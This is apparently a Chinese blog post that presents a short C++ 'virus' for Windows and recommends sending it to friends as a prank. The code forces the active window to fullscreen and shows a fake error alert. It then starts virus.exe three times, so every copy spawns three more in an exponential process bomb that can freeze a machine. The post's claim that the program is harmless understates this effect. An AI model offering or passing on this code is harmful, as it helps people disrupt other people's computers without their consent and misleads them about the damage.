C++小病毒

C++小病毒(注:对电脑无过大伤害)

短短行,创造奇迹!

把这个文件命名为virus.exe就可以使用了。

cpp 复制代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
	HWND hwnd = GetForegroundWindow();
	    int cx = GetSystemMetrics(SM_CXSCREEN);//需要根据电脑的大小设置加减
	    int cy = GetSystemMetrics(SM_CYSCREEN);//需要根据电脑的大小设置加减
		LONG_PTR last_style=GetWindowLongPtr(hwnd,GWL_STYLE);
	    RECT last_rect;
	    GetWindowRect(hwnd,&last_rect);
	    LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);
	    SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE)& ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);
	    SetWindowPos(hwnd, NULL, 0, 0, cx, cy, 0);
	    UpdateWindow(hwnd);
	MessageBox(0,"电脑出现了问题!","警报",MB_ICONERROR);
	system("start virus.exe");
	system("start virus.exe");
	system("start virus.exe");
	return 0;
}

无实质性伤害,推荐送给好友!

相关推荐
Tim_109 分钟前
【算法专题训练】02、二进制
java·开发语言·算法
EndingCoder21 分钟前
排序算法与前端交互优化
开发语言·前端·javascript·算法·排序算法·交互
晓131322 分钟前
JavaScript加强篇——第五章 DOM节点(加强)与BOM
java·开发语言·javascript
我是唐青枫39 分钟前
C#.NET serilog 详解
开发语言·c#·.net
小林C语言1 小时前
11.9 C++对象指针
c++
oioihoii1 小时前
C++11中的std::minmax与std::minmax_element:原理解析与实战
java·开发语言·c++
超龄超能程序猿1 小时前
使用 Python 对本地图片进行图像分类
开发语言·人工智能·python·机器学习·分类·数据挖掘·scipy
wkj0011 小时前
php中调用对象的方法可以使用array($object, ‘methodName‘)?
android·开发语言·php
hudawei9962 小时前
kotlin中withContext,async,launch几种异步的区别
android·开发语言·kotlin
消失的旧时光-19432 小时前
Kotlin 常用语法糖完整整理
android·开发语言·kotlin